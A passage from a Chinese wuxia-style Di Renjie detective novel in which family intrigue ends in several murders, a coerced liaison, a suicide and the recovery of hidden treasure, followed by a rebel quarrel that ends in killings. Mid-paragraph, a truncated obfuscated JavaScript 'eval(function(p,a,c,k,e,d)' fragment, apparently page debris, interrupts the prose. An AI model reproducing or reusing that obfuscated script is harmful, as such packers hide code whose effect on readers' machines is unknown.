洪辉指着喝道:“好大胆!竟敢擅闯人家!” 那三十多个蒙面人转过头来,一见是狄仁杰三人,立时吓得连面布都快掉了,齐叫道:“妈呀!怎么又是他们仨呀!”都冲了过来。 几个受伤的家人在地上叫:“接住!”同时将手中的木棍扔了过来,洪辉、狄宁忙伸手接了,跟着乱打一通。 那三十多人本就胆怯,没过多久便一败涂地了,都趴在地上叫苦。 这时又奔来了一群人,带头的是大公子孟贤,旁边跟着老管家刘茗,后面都是些手执棍棒的家人。 孟贤忙向狄仁杰作揖,狄仁杰还礼。 孟贤道:“小可因闻见动静,便领着人来了。” 只见孟知府从屋子里颤巍巍地走了出来,问道:“怎……怎么样啦?” 狄仁杰忙道:“已经没事了。” 那些受了伤的家人自被人抬去了。 孟贤道:“深更半夜的,这群贼是如何进来的?” 刘茗道:“而且他们竟然跑到了老爷这儿,看来就是冲着老爷而来的!” 孟知府怒道:“本官治下的胡州城乃太平盛世,竟会有贼人胆敢夜闯本官私宅!”喝命:“还不赶紧地给我斩了!” 狄仁杰忙道:“可先看看他们的面目。” 那三十多个蒙面人长吁短叹的,只好将面布拉了下来。 狄仁杰三人见了他们,都是一惊。 洪辉指着道:“你们不是那个金六的跟班儿嘛!” 诸人都惊道:“什么?他们是金六的人?” 刘茗指着他们喝道:“你们快说!若是再不说,就凭你们几个夜闯孟老爷的宅子,现在就可以杀了你们!” 那些跟班儿们明知瞒不住,遂一股脑儿都招供了:“我们都是金六的手下,今天夜里是被金六派来的,派来逼问孟老爷你的,逼问你关于你们孟家的财宝的下落的,我们都是从西角门进来的,是孟老爷的三公子孟廉放我们进来的,我们也只是奉命行事,怪不得我们,求孟老爷饶了我们性命,你的大恩大德,我们永世难忘,就这样吧。” 诸人皆听得目瞪口呆。 孟知府怒气冲天,大喝:“快拿孟廉、金六来!” 一时,只见那孟廉背手而来,一脸冷笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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金六大叫:“你不敢!你不敢!”扫视了一下众人,哈哈大笑道:“你们不敢拿我怎么样,我干爹是金世宝!” 洪辉喝道:“金世宝算他妈了个屁!你金六又是个什么狗东西?你们姓金的都死绝了!” 金六一回头,见到了狄仁杰三人,大吃一惊,指着颤道:“你……你们……又是你们!怎么又是你们仨呀!哎呀!”那个被打断了的右腿登时又剧痛了起来,只是乱叫:“狄仁杰!我恨死你啦!我金六怎么一碰到你就倒霉呀!”又大叫:“你们不敢杀我!因为我干爹是金世宝!” 孟知府遂命叫金世宝来。 那金世宝一时也来了,神情自若,向孟知府作揖道:“不知老爷深夜传唤,所为何事?” 孟知府道:“你乖儿子金六派人来暗杀我,你说他该不该杀?” 金世宝道:“哦?有这等事?” 孟知府道:“金世宝啊,没想到你养出了这样一个忤逆之子,你太让我失望啦!” 金世宝“嗯”了一声,点头。 金六忙跪下哭道:“干爹!干爹救我呀!孩儿也只是一时糊涂啊!” 孟知府怒喝:“金世宝!我最后问你一遍,这个畜生到底该不该杀?” 金世宝无丝毫犹豫,直接说道:“当然该杀。” 孟知府道:“好!这是你自己说的,你可别怪我没有问过你。”喝命:“来人!将这金六给我拖出去斩了!” 金世宝忙道:“且慢!” 孟知府冷笑道:“你反悔啦?” 金世宝叹道:“我是觉得呀,出了金六这样一个该天杀的畜生,皆是因我之过。我直到此刻方知晓,原来他竟是如此罪大恶极。我一直就教导他,要造福百姓,要孝敬尊长,没想到他不但不听我的谆谆教诲,反倒作起孽来,真是令我太失望了!他的这条狗命,任何人杀了他,那都是脏了杀他之人的手啊,所以这种杀畜生的脏活,还是由我来吧。” 金六的跟班儿们齐声叫好,都道:“金六这狗杂种,早就该杀了!” 孟知府道:“好!把刀给他,让他杀!” 金世宝接了刀,与孟知府道:“毕竟我与金六父子一场,可容我在他耳边最后说两句体己话,就当是了结了这父子之情。” 孟知府点头道:“这也是人之常情,你说去吧。” 金世宝遂弯下腰来,在金六耳边低声道:“你马上就要死了,我就实话告诉你了吧:你就是一头蠢猪。胡州城里的饭店赌局,还多亏了你呀,如今十有八九都已经是我的了,而且还得感谢你替我担当了所有的臭名。如今只等这姓孟的一死,胡州城便是我的天下。我就算是现在不杀你,你到时候也别想活。否则别人岂不是要议论我说:金世宝的那个乖儿子啊,竟是一个猪狗也不如的野杂种。哼,好啦,小杂种,你就好好地上路去吧。”说罢,早将金六一刀剁成了两半。 金六的跟班儿们见了,一齐大声叫好,都拿着刀往金六尸体上乱砍,一面骂:“狗杂种金六!野杂种金六!让你死无全尸!” 孟知府叫道:“好啦!你们别砍啦!脏了我的地呀!” 跟班儿们登时皆不砍了,一齐向孟知府磕头哭道:“孟老爷啊!我们都是安分守己的平民百姓,都是金六逼着我们跟他作恶的!他威胁我们,如果我们不跟着他一起作恶,他就要杀了我们全家呀!都是金六逼着我们做恶人的,我们也是身不由己啊!求孟老爷饶了我们性命!” 孟知府挥挥手道:“滚滚滚!” 跟班儿们连声道谢,赶忙去了。 刘茗命人将金六的残肢丢到山野里去喂狗,又叫人来清洗地上的血迹。 金世宝告辞回府去了。 孟知府这时怒目喝问孟廉:“你还是不是我亲生儿子?你居然要弑父!” 孟廉冷笑道:“我也想问你呀,我是不是你亲生的呀?嗯?你敢不敢回答我呀?” 孟知府皱眉道:“你怎么会这么问?你怎么就不是我亲生的了?” 孟廉仰天大笑道:“你说我是你亲生的?我不信!你什么时候把我当作过亲生儿子了?嗯?我看在你眼里,就连阿猫阿狗都比我亲!” 孟知府道:“我哪里对你不够好了,你要这么说我?我给你吃,给你喝,给你穿,给你住,你还有什么不知足?” 孟廉指着他鼻子叫道:“姓孟的!我告诉你,我不是你养的一条狗!” 孟知府叫道:“你到底想怎么样?” 孟廉道:“我不想怎样,我就要你认个错。” 孟知府道:“你没听说过‘天下无不是的父母’吗?你爹怎么会有错?” 孟廉冷笑道:“这都是你自己标榜的。从头装到尾,你不累吗你?” 孟知府直气得语塞,听孟廉又说:“你亏欠了我娘太多了。她用了自己的一生去爱你,你又是怎么回报她的?你连看都不去看她一眼。她因为你的无情,整日守着活寡,你有没有想过她心里该是何等的孤独?不,你没有想过,你从来就没有想过。因为你只是一个自私的、没有良心的人!我就是想要杀了你,替我娘和我报仇!” 孟知府也未加思索,抢过刀来,便劈头砍向孟廉。 不料孟廉也不躲闪,只微微一笑,竟被孟知府给当场砍死了。 众人都惊得叫了出来。 孟知府眼看着孟廉倒了下去,自己仿佛清醒了过来,忙丢了手中的刀,跪下来抱住他,说道:“孩子啊,你刚刚为什么不躲呀?爹那也只是一时气愤,并没有真的想杀你呀……啊?孩子啊,你说句话,好吗?你说话呀,你说话呀……”一面摇着一动也不动的孟廉,哽咽着哭道:“爹……爹这辈子始终都忘不了她……所以……无法将同等的爱给与你母亲。我实在是亏欠你……还有你母亲……太多了……可是你……你怎么就这么去了呢?你……毕竟……毕竟……毕竟还是我的孩子啊……”说着大哭,又连着大叫了几声,突然眼睛一瞪,向后便倒。 这一变故来得太过突然,诸人猝不及防,都冲过来一看,发现孟知府已然气绝。 霎时,诸人皆异口同声地哭了起来,狄仁杰三人亦是潸然泪下,孟家大院中哭喊声震天动地。 诸人一时哭罢,商议了一番,为了不引起骚动,都决定秘不发丧。 从现在起,孟家一切事务暂由大少爷孟贤、账房总管金世宝、老管家刘茗,并狄仁杰等诸人一同协理。 商议定了,又是一阵嚎啕,才将孟知府与孟廉一同埋了,也未去告诉迟姨娘知道。 这迟姨娘正独自一人待在南院漆黑的小屋子里,热锅上的蚂蚁一般。 却记着孟廉的话,今晚不管怎样闹腾,都不要出来,要等着他。 忽见房门缓缓地开了,一缕微光透了进来。 迟姨娘只道是孟廉来了,喜道:“廉儿,是你吗?” 见门口那人的轮廓不像,忙问:“你……你是谁?” 那人将门关上了。 迟姨娘在黑暗中看不见他面容,吓得正欲大叫。 只听得一个苍老的声音说道:“小娘别怕,我是来告诉你关于你儿子的事儿的。” 迟姨娘听了,觉得耳熟,道:“你到底是谁?” 那人道:“小娘许久不见,就不认得老奴了?我是刘茗啊!” 迟姨娘“哦”的一声,松了口气,道:“原来是刘管家呀……” 刘茗道:“是我。” 迟姨娘忙问:“刘管家,我儿子他……他怎么样了?” 听那刘茗“嗐”了一声,道:“你儿子跟那个混账金六勾结,派人来暗杀老爷。” 迟姨娘虽早已知道了,却假装不知的“啊”了一声,道:“怎么会这样?”又问:“那他如今怎么样了?” 刘茗道:“你儿子败露咯!” 迟姨娘虽明知凶多吉少,然听了这话,仍是大吃一惊,颤道:“他……他现在……” 刘茗叹道:“老爷自然是大怒,如今已将那金六斩首了。” 迟姨娘又是“啊”的叫了一声。 刘茗忙道:“你不要太大声,我是偷偷来给你报信的。” 迟姨娘哽咽道:“看来……廉儿他……廉儿他也……” 刘茗道:“你儿子他当然还活着!” 迟姨娘喜道:“真的吗?” 刘茗道:“老奴从不撒谎!你儿子再怎么样,毕竟也是老爷的亲生儿子嘛,老爷还当真把他给杀了不成?如今老爷只是将三爷给禁足了……” 迟姨娘道:“我要去见他……” 刘茗忙拦住道:“现在还去不得,老爷正在气头上,得等老爷气消了再去。要是现在去的话,局面更糟!” 迟姨娘想了想,点头道:“说得是。”又求道:“刘管家,你是在老爷跟前说得上话的,不像妾身,老爷不愿意见我。你帮我劝劝老爷,说廉儿他也是一时糊涂,不是真心的。” 刘茗道:“这个自然,你不用担心。” 迟姨娘在黑暗中道了个万福,谢道:“那就拜托刘管家了。” 等了半晌,却听不到刘茗回答。 迟姨娘又轻轻叫了声:“刘管家?你怎么不说话呀?你还在吗?” 那刘茗出声道:“在,我在。” 迟姨娘突然感到被人给抱住了,吓了一大跳,惊道:“你……你这是做什么!” 刘茗在她耳边说道:“小娘,你长得多俊哪,是那姓孟的不识货。” 迟姨娘明白了他的心思,也不好叫的,忙推开了他,忸怩道:“刘管家……你……你不要这样……” 刘茗叹口气道:“老爷其实已经有想杀你儿子的意思喽!要不是我在旁一直劝的,你儿子已经跟那金六一齐被砍头喽!” 迟姨娘忙道:“妾身非常感激刘管家……” 刘茗冷笑了一声,道:“你就是这么感激我的?” 迟姨娘嗫嚅道:“我……我……那你……你还要我怎么感激……” 刘茗又抱住了她,狎亵道:“你若是不依我,我只在老爷跟前说上那么几句,你看看你那儿子还活不活得过今晚!” 迟姨娘也无法了,只得依他,不由得流下了泪来。 事后刘茗睡在了床上,迟姨娘推他道:“喂,你倒是去老爷跟前劝劝啊,廉儿他……” 那刘茗睡得糊里糊涂的,含混道:“你……你说什么呢……他……嗯……他都死了……” 迟姨娘惊问:“你……你说谁死了?” 刘茗道:“谁……谁死了……?都……都死了……都……都死了……” 迟姨娘急忙追问:“你说清楚,到底谁死了?” 刘茗道:“谁死了……有孟廉……金……金六……还……还有……孟老爷……孟延……他们……都死咯……” 迟姨娘听了,便如五雷轰顶一般,呆了半晌,突然尖声狂叫了起来。 刘茗被吓醒了,惊道:“怎……怎么啦!” 迟姨娘满面泪痕,指着颤道:“你……你骗我……你骗我……你骗我!” 刘茗忙道:“喂喂喂,你可别那么大声啊!要是给人听见了……我……我怎么就骗你啦?” 迟姨娘说了句:“廉儿……孟郎……他们……他们都死了……” 刘茗慌道:“你……你都知道啦?你……你听谁说的?” 迟姨娘登时发疯似的狂笑,又撕心裂肺地乱喊。 刘茗吓得魂飞魄散,虽欲逃跑,浑身就像钉在了床上似的,丝毫动弹不得。 那迟姨娘悲愤交集,顺手从床边的小桌上抓了一把剪子来,透过微亮,看准了刘茗的咽喉,狂叫一声,直接戳将来,登时血流如注。 她感到万念俱灰,也用同一把剪子自尽了。 适才狄仁杰与孟贤等人正说着话,还疑惑如何不见刘管家,突然便听见了屋子里的动静。 这时诸人都赶了来,点着蜡烛往屋子里一照,皆惊慌失措。 只见迟姨娘与刘茗二人躺在一张床上,殷红的鲜血沿着床边滴了下来。 这种杀人场面狄仁杰却是常见,忙来察看了一番,说道:“这位夫人先是用剪刀杀害了刘管家,又用了同一把剪刀自尽。” 孟贤道:“这位不是夫人,是我父亲的妾室迟姨娘。” 狄仁杰见刘茗的衣服里藏着一本书,抽出来一看,竟是那本被盗去了的诗集,与洪辉、狄宁都是一怔。 洪辉道:“原来诗集是被他给盗走了!” 孟贤问道:“这诗集是做什么的?” 狄仁杰道:“其中乃令祖父所作之诗,或许有线索,可以找到你们家族的宝藏。” 孟贤命屋里其他家人皆退下,方说道:“先生,我们家真的有财宝吗?” 狄仁杰道:“那我们就一起来看看吧。” 将诗集放在了桌案上,对着烛光观看,直接翻到了最后一页,乃是一首七言绝句,题为“繁华梦”,旁边有一小行字写着时间“光宅元年九月”。 那诗云: 侯爵将相本无缘,迟早空楼走一趟。 达官显贵莫能留,树老叶枯终落下。 另外三人兀自思索,狄仁杰只看了一眼便已明白,说道:“是一首藏头藏尾诗。你们看:侯,缘,迟,趟,达,留,树,下。” 孟贤、狄宁、洪辉立时明白了,齐道:“后园池塘大柳树下!” 四人遂悄悄地来至后园池塘边,那一棵大柳树之下,将土挖了开,捧出了一个中等大小的盒子来。 这时四周暗到几乎是伸手不见五指,突然将那盒子打开,四人都大吃了一惊。 原来盒子里竟装有五颗大大的夜明珠,发出了碧绿色的光芒,将四人惊讶的神情照得互相之间都看得见了。 狄仁杰贺道:“恭喜公子。” 孟贤忙道:“非也!这都是先生的功劳,我岂能独吞?请先生任意采取……” 狄仁杰忙道:“公子莫非以为,狄某乃是为了贪图你们家的钱财?” 孟贤忙道:“小可不敢。” 狄仁杰道:“既然财富也已找到了,如今我要最后劝你一句。” 孟贤道:“先生请说。” 狄仁杰道:“你父亲请狄某来的主要缘故,乃是因为明夜子时三刻,或许会有人来对你们家不利,而那人所要之物便是这笔财富。问题是,纵使将财富与了那人,他也未必就不会杀人灭口。你明白我的意思吗?” 孟贤道:“小可明白,先生是叫我们弃家而逃?” 狄仁杰道:“只是暂时出去避一避而已,等你们觉得安全了时候,再决定要不要再回来。” 孟贤点头道:“先生所言极是。” 又要分一颗夜明珠与狄仁杰,见他坚持不受,也就不勉强他了,只问:“先生可还有什么要求?” 狄仁杰道:“我只想跟你说一件事:下人的命也是命,要尊重他们。此次出外,你要让那些下人们也各自回家,使他们也不至于遭难,并且要给予他们盘费,还有那该资助的钱财,也丝毫不能吝惜。这是狄某唯一的条件了,你可答应?” 孟贤忙答应了。 遂将那装有夜明珠的盒子收了,领着狄仁杰三人回到了大院。 将孟府中上百号家人都召集了来,告诉他们有人要来寻仇,叫他们都各自回家去避一避,又按照各人所需分发钱财。 诸人都非常感激,各自收拾了行李包裹,当夜尽皆散去了。 偌大一个孟府,已是人去楼空。 狄仁杰问孟贤要了三件朴素点的布衣,与洪辉、狄宁一齐将身上华丽的衣裳换掉了。 孟贤托着一个盘子出来,上面有白花花的银子一百两,要送与狄仁杰他们。 狄仁杰婉拒了,孟贤却执意要给。 狄仁杰想着路上也着实需要些盘缠,遂只拿了十两银子。 孟贤又打包了几件冬衣送与他们。 洪辉、狄宁二人腰间都系了一把腰刀,与狄仁杰一齐向孟贤辞别。 三人遂出了孟府。 这里孟贤送走了狄仁杰三人,自己回到了房间里,在昏暗的灯光下,小心翼翼地从盒子里将那五颗夜明珠拿了出来,一面观看,一面大笑了起来。 这时,从门口进来了一个人,回头一看,是那二少爷孟迁。 孟贤也没当回事,只随口说道:“二弟啊,你来啦。” 那孟迁只是看着他,没说话。 孟贤志得意满道:“没想到啊,我孟贤装了一辈子,此刻终于可以歇一歇了。我原本也只想着要保住这长子之位,能够继承那老不死的财产,那也就够了。不料,我们家还有这么大一笔财富啊!二弟啊,你瞧瞧看,五颗亮闪闪的夜明珠啊!这一堆烂摊子,已经与我无干啦。我要带着财宝远走高飞,好好享受享受金钱带给我的富贵!”又看着孟迁道:“至于你呢……你就好自为之吧。”说着,将夜明珠一颗一颗地摆在了桌子上观看,露出了无比贪婪的神情。 突然间感到了一阵剧痛,不觉“啊”的一声叫了出来。 低头一看,自己的胸口已被一把利刃刺穿了,鲜血不住地流。 回头一看,见那持刀的正是孟迁。 孟贤皱眉道:“你……你……你不是……” 孟迁哼哼冷笑道:“哥哥,你想说,小弟我不是一个傻子吗?唉呀,能瞒过了你这么多年,当真是不容易啊。” 孟贤双腿一软,倒在了门槛上,一面吐血,一面指着他道:“你……为什么……” 孟迁蹲了下来,看着他说道:“你问我为什么,那我就让你死个明白吧。记得我们二人打小便在一起玩耍,本可以做很好的兄弟。直到十三年前,也就是我十岁、你十二岁的那年,我偷听到了一段我本不该听到的话。自此以后,这一切就再也没可能了。虽然你也只比我大了两岁,可你毕竟也是爹的长子啊。你本可以坐享其成、顺理成章地继承家业,但是你不肯。你非要去学子桓对子建那样,因为你自己那毫无根据的猜忌,便将我这个原本并不想去争的局外人硬生生地拉了进来,使我变得跟你们一样,从头装到尾,无时无刻不装,装得再累也要装!否则我不知道什么时候就要被你们给暗害了。 “你以为我不知道刘茗那个老色鬼是向着你的人?哼,这个不得好死的老杂种,表面看着忠厚老实,实则是禽兽不如。仗着自己是爹身边的人,暗地里也不知干了多少见不得人的勾当。哼,这个老杂种以为你必是家族的继承人了,因此早早地就赶来巴结你,帮衬着你出谋划策。可我当时也不过就是一个十岁的小孩而已,我又懂得什么了?你非要以己度人,以为我也像你一样,就想着那长子之位呢!那一天我走到了你屋子的门口,便恰巧听见了那老杂种正在跟你说:‘哥儿是长子,将来一定会继承家业的。你那三弟长得又丑,还是小老婆生的,老爷自然是不会喜欢他的,因此不足为虑。你只要提防着点儿你那二弟就行了。老爷看他机灵得很,似乎很是喜欢他呢。他要是不跟你争也就罢了,他要是真有什么不利于咱们的,大不了想个法子弄死他得了。’ “我当时在门外听了这段话,心里是何等地痛苦啊。我怎么会想得到,我的亲哥哥竟然要来害我!我当时一不小心弄出了点声,还被那老杂种给听见了,要不是我当着你们的面故意摔了一跤,从此装疯卖傻了这么些年,只怕我早就死在了你们手中上百回了!哼,如今这一切都已了了,那老杂种终于死了,而且还是死在了女人的床上!哈哈哈哈!你说,这难道不是报应吗?还有你啊,我的好哥哥,你现在终于可以不用装啦,可是你又死在了我的手里。哼,这都是你们咎由自取。这么多年了,直到现在,我才做了一回真实的自己。” 孟贤听完了这段话,滴下泪来,说了声:“哥……哥对不……对不……对不住你……”说完便气绝。 孟迁呆了呆,缓缓站了起来,将桌上的五颗夜明珠收在了盒子里,来到了后园的池塘边。 冷冷清清,一阵晚风轻轻地掠过水面,将黯淡的月影吹散了。 他感到一片茫然,眼前朦朦胧胧的,原来是眼眶中含着泪水,模糊了视线。 他苦笑了一下,抱着那盒夜明珠,跳到了冰冷的池塘里,无声无息地沉了下去…… 后来孟知府去世的消息还是迅速地传开了,朝廷便问及谁是当地最具威望之人,那自然是孟府的账房总管金世宝咯,遂封他为新一任胡州知府。 38. 第三十八章 无常 深秋,万物凋零。 天地间都是一片肃杀又凄凉的景象,萧索颓败,毫无生机。 山道上已是枯黄满径,树木都变得光秃秃了,只剩下几片顽强的叶子,还仍旧挂在枝头,被一阵阵寒冷的西风吹拂得一直在晃动、摇曳,不知道什么时候也要跟着飘落了,融入一望无际的叶海之中,铺陈在广袤无垠的大地之上,跟它的同伴们一起色彩斑斓地连成一片,展示着秋末浓厚的秋意。 狄仁杰三人自离胡州以来,晓行夜宿,饥餐渴饮,不觉又过了半月有余。这时候在城镇郊外的山路上正行走着,一面观赏着秋末的景色,感受着凉爽的微风,一面感叹这秋高气爽的日子,感觉还挺惬意。 洪辉一面说道:“我们村的庄稼丰收了,瓜果蔬菜啊什么的,各种各样的颜色,就像这会儿的落叶。” 狄仁杰道:“小辉啊,你本可以一直陪着你父亲的。跟着我,苦了你了。” 洪辉忙道:“先生这说的是哪里话,我洪辉那可是自愿跟着先生的,又没人强我。” 狄仁杰道:“等这次的案子了了,我就表奏圣上,说你此次的大功。” 洪辉摇头道:“我不要,我不想做官,没意思,被人管着多不自在。而且那么多做官的,我看他们也并没怎地造福百姓,也不过是为了自己罢了。当然我不是说先生哈,你是个例外。” 狄仁杰道:“说得也是啊。为人只要心地善良,其余的也都尽付其中了。”又叹道:“没想到这一路耽搁了这么久,到达边关也不知还要多少时候啊。那里的战事怎样了?彭大人到底被歹徒劫到哪里去了?还有军粮呢?”忽又想道:“孟知府的父亲所写的那本诗集,最后那一首有关财富的诗句,那个时间‘光宅元年九月’,这不是当年徐敬业讨伐武皇、造反的日期吗?十三年前,以徐敬业为首,于扬州起兵。这个扬州的买卖,莫非指的就是这个事件?孟知府的父亲是否也参与了其中呢?那个来索要财富的蒙面人又是谁?当年的事件与如今这一切有关联吗?” 正行间,忽听得前方空地上有叮叮当当刀剑相交之声。三人于是悄悄近前,躲在树后面窥看。 只见十来人打成一团,招招都在拼命。 其中一人叫道:“先各自罢手!有话好好说!” 另一人喝道:“都这么明白了还说个屁!” 又一人道:“我们之间就非要弄他个你死我活吗?这一切都是误会!” 又几人连声叫道:“好了,好了!都别打啦,别打啦!” 十来人登时收回兵刃,分作双方,各站一旁,还有一个站在中间的。 正打了时候,洪辉还想过去劝架,却被狄宁忙止住了。 这时左边的一方,一人当先喝道:“既然不打,那就好好地讲理!别奶奶的胡搅蛮缠,颠倒是非!” 右边的一方,一人当先冷笑道:“朱二崽,这可是你说的。” 那朱二崽指着喝道:“李狗蛋儿!是你们的人先动起手来的,你们伤了我们的弟兄!” 李狗蛋冷笑道:“那是因为你们的人先不讲理。” 其中一个不左也不右的在中间淡淡地劝道:“我们都是为了匡复大业而聚在一块的,分什么彼此呢?” 朱二崽喝道:“赵镜子!你别奶奶的瞎扯淡!你到底是哪一边儿的?” 那赵镜子道:“我哪一边也不是。” 李狗蛋冷笑道:“你既不是我这边的,看来还是向着那姓朱的多一点吧?” 朱二崽喝道:“放你奶奶的屁!不帮老子,就是你狗生的蛋儿!” 李狗蛋冷笑道:“跟你这头蠢猪还能成大事?我看你还是滚吧。” 朱二崽喝道:“滚你奶奶!” 狄仁杰三人听得莫名其妙,不过他们说什么“匡复大业”,虽不知指的是什么,可想来应该跟造反脱不了干系,于是都更加凝神静听。 听那赵镜子道:“这样,赵某作为局外人,给你们来个公道。” 李狗蛋冷笑着和朱二崽喝着齐道:“你既是局外人,还掺和个什么?” 那赵镜子仍是心平气和地说道:“正所谓旁观者清。你们之间的恩怨,我确是局外人。可是匡复大业,是我们共同的志向。我们既然参与了其中,那是付出了一切代价,甚至于我们自己的性命,也都抛诸脑后了。我们连自己什么时候会死都不知道,何况将来的事呢。待我们推翻了武逆,得了天下以后,不论是哪一位登基,他还不都是姓李吗?” 朱二崽不喝了,说道:“你说得虽然也对,可是同样是姓李,那也有正统不正统之分哪。” 李狗蛋不冷笑了,说道:“赵兄之言,颇为有理。姓朱的所说,却也是我的想法。否则随便一个姓李的都行,那我李狗蛋也姓李,难不成也当得皇帝啊?” 朱二崽指着他喝道:“我呸!你奶奶的也配!你也不撒泡尿自个儿照照,个乡巴佬模样,还做你奶奶的皇帝呢!” 李狗蛋冷笑道:“我又没说我能做皇帝,你又算个什么东西?再过个一千年看看,也不会有你姓朱的来做皇帝。” 双方又要打起来。 赵镜子道:“且慢动手!你们双方不就是为了立睿宗还是立中宗的事起了争执吗?” 朱二崽喝道:“这么大的事儿叫你奶奶的‘不就是’?!” 李狗蛋冷笑道:“姓赵的,你将大事当小事也就罢了,可你的话语还是掩饰不了你的真实意图。你先说立睿宗,再说立中宗,表示你心里还是向着睿宗多一点,才会先说出来。” 赵镜子叹了口气,道:“我总得先说出一个来吧?” 李狗蛋喝道:“那你干吗先说睿宗不先说中宗!我看你还是向着那姓朱的!” 朱二崽冷笑道:“老赵本来就是向着睿宗的,你小子别自作多情了!” 赵镜子道:“不能这么说!不管睿宗还是……” 李狗蛋叫道:“你看,你看!你又来!” 朱二崽跟左方都大笑。 赵镜子道:“不是啦!那就不管中宗还是……” 朱二崽一听大怒,喝道:“姓赵的!你叛唐咯!” 李狗蛋跟右方都大笑。 赵镜子又叹了口气,道:“好好好,不管是哪一个宗,横竖都是李氏的后裔吧?两个都姓李,李氏一脉相承,那也都是皇族啊……” 李狗蛋喝道:“此言差矣!照你说姓李的都是皇室后裔,那我李狗蛋也是!你怎么着吧!” 赵镜子道:“那你们说,这两宗谁才是正统?” 朱二崽那边高喊:“当然是睿宗!” 李狗蛋这边大叫:“肯定是中宗!” 赵镜子道:“好好好!那我问你们,谁才是我们要讨伐的叛逆?” 双方都叫:“那还用说!自然是武曌这贼娘们儿!” 赵镜子道:“是啊,可这两宗还都是高宗皇帝跟武逆生的儿子呢,那两位还都成了叛逆的后代了不成?” 左方一人道:“那照你这么说,咱还都是炎黄子孙呢,那就管他姓张姓李,随便什么阿猫阿狗都能当皇上咯?” 右方道:“我们是炎黄子孙,你们的祖宗是戎狄。” 左方一听大怒,齐骂:“我们去你们奶奶!” 双方又要打起来。 赵镜子左也劝不住,右也劝不来,急道:“我们之间若自相矛盾了,大业如何能成?不管将来新君是谁,首先得推翻了武曌,然后再慢慢商酌!” 李狗蛋手一挥道:“没这回事!名不正则言不顺,言不顺则事不成。这要不提前定好,事成之后再说成何体统!” 朱二崽道:“定了,定了!早就定好了嘛!武曌之前最后一个当皇帝的自然是正统,那当然是睿宗皇帝了!” 李狗蛋道:“没这回事!正不正统是本质的问题,关先后什么干系!我告诉你,中宗皇帝才是正统!” 朱二崽道:“你说正统就正统了?凭什么?” 李狗蛋道:“就凭中宗皇帝是先当皇帝的,他就是正统!不像你那睿宗是后来的!” 朱二崽道:“呸!李显就是因为懦弱无能才让武曌给把持了朝政!在位才一个多月就给奶奶的废了,这种鸟人能当皇帝?” 李狗蛋道:“早在高宗驾崩以前,武曌就已经手握大权,岂是因中宗之故?中宗登基以后,至少有重用韦氏等行动,试图发展自己的势力。因事情败露,不得已才被废为了庐陵王。不像李旦,一上来就是傀儡!这种皇帝当然做得长久些了,因为对武曌根本就没有一点威胁!到头来还不是自己主动上表请辞,武曌这才得以临朝称制,最终篡夺了皇位。如此看来,中宗皇帝至多是生不逢时、命运不济而已。非比李旦,根本就不是当皇帝的料!” 朱二崽不善辩论,指着喝道:“李蛋儿怎么着也当过皇帝,是个蛋儿也没什么!至少不像你,是狗的蛋儿!” 李狗蛋冷笑道:“我是狗的蛋,你是猪的崽!” 朱二崽大怒道:“我们各为其主也就算了,你又做什么打伤了我弟兄!” 李狗蛋道:“又不是我打的!” 朱二崽道:“你的人打的也一样!” 右方骂道:“就打你们咋地!” 左方骂道:“来呀!打!” 赵镜子道:“不能打呀!自己人互相残杀,武逆岂不从中获利?” 朱二崽嚷道:“那咋办!我的弟兄就白白地被打啦?” 赵镜子道:“你们双方都有不是!上面筹划了这么些年,即将有一件惊天动地的大事发生。这件大事成了以后,就要改朝换代了。到时你们争的这些都可以再说。这等绝密的事,你们大白日的吵闹,就不怕给人听去啊?这造反的事,要是被人给听见了……” 忽听得一个声音叫道:“你们说的这些咱都听得一清二楚!你们也知道造反不好啊!你们……” 原来说话的竟是洪辉。他因听得良久,忍不住便要开口。 狄宁连忙按住他口,看了一眼狄仁杰,二人都不由得长叹一声。 那十来人一齐回头,惊道:“妈呀!还真被人给听见了!” 赵镜子把话说完:“……那是要掉脑袋的呀。” 十来人早都瞧见了树后狄仁杰三人,一齐大喝一声,持着刀剑杀将来。 狄仁杰三人拔脚狂奔。 一面跑,狄宁忍不住埋怨道:“兄弟啊,你怎么关键时候老是多嘴!你该不会是奸细吧?” 洪辉道:“狄宁哥,我真不是故意的呀!你怎么怀疑我呢?我实在是忘了我们正在偷听啊……” 狄仁杰喘得厉害,一面道:“小辉就是心直口快了些。只是适才那些人说的是不得了的话。我看他们几个也只是无关大局的小卒而已,可是背后定有巨大的阴谋。如果再多听得一会儿,说不定能听到些端倪……” 后面的叫喊声愈来愈近,满地的枯叶飒飒响,几把刀剑朝狄仁杰三人直飞将来,被狄宁、洪辉早拔出腰刀,尽数挡落。 狄仁杰看着二人持刀冲将去,与十来人打上了。 那十来人武功并不甚了得,却都有股狠劲。 洪辉二人只受了些皮外伤,半日便将他们都打倒了。 那些人躺在地上,包括朱二崽、赵镜子、李狗蛋在内,都一齐喊道:“士可杀不可辱!我们为了大唐的基业奋斗终身,虽死犹荣!”都准备抹脖子。 狄仁杰忙叫:“快阻止他们!不要自尽!” 突然一阵狂风袭来,卷得遍地落叶漫天飘洒,五彩缤纷。 狄仁杰三人眼花缭乱,同时感到胸口沉闷,几乎喘不过气来。 洪辉叫道:“先生!狄宁哥!你们还好吧!” 狄宁叫道:“老爷快跑!有高手来了!” 狄仁杰从乱舞的落叶中隐约看见了一个蒙面人从空而降,轻轻地落在了离自己三丈远之处。 他那犀利的眼神,正看着自己。 此刻恍如梦境一般,好像见到了什么熟悉的场景。 落叶又都铺回了地上,寂静如常。 只见地上那十来人口角流出了鲜血,眼睛瞪得大大的,都已气绝身亡。 这些人显是被这蒙面人于顷刻之间用超强的内力震死的。 狄宁、洪辉二人于外功中当属一等一的好手了,然内功修为却并不甚佳。 狄仁杰则于内功外功一窍不通。 然三人此刻见了这场面,也均知地上这些人为对面这个蒙面人所杀。 这时狄宁、洪辉二人挺着腰刀站在狄仁杰身前,明知不是那蒙面人对手,却也要拼死守护着狄仁杰。 狄仁杰行礼道:“若非尊驾手下留情,我等三人恐怕也要像他们一样死于非命了。不敢动问,尊姓大名?” 那蒙面人远远地站着,一动不动,仍是看着狄仁杰。 狄仁杰三人都知道,此人随时随刻都能轻而易举地要了自己的性命,只是如今还不知他是敌是友。 那蒙面人突然开口说了句:“狄仁杰。” 他说话之声并不大,却中气十足,响亮非常,也颇显苍老。 狄仁杰三人都是一惊。 狄仁杰微一皱眉,道:“你是谁?” 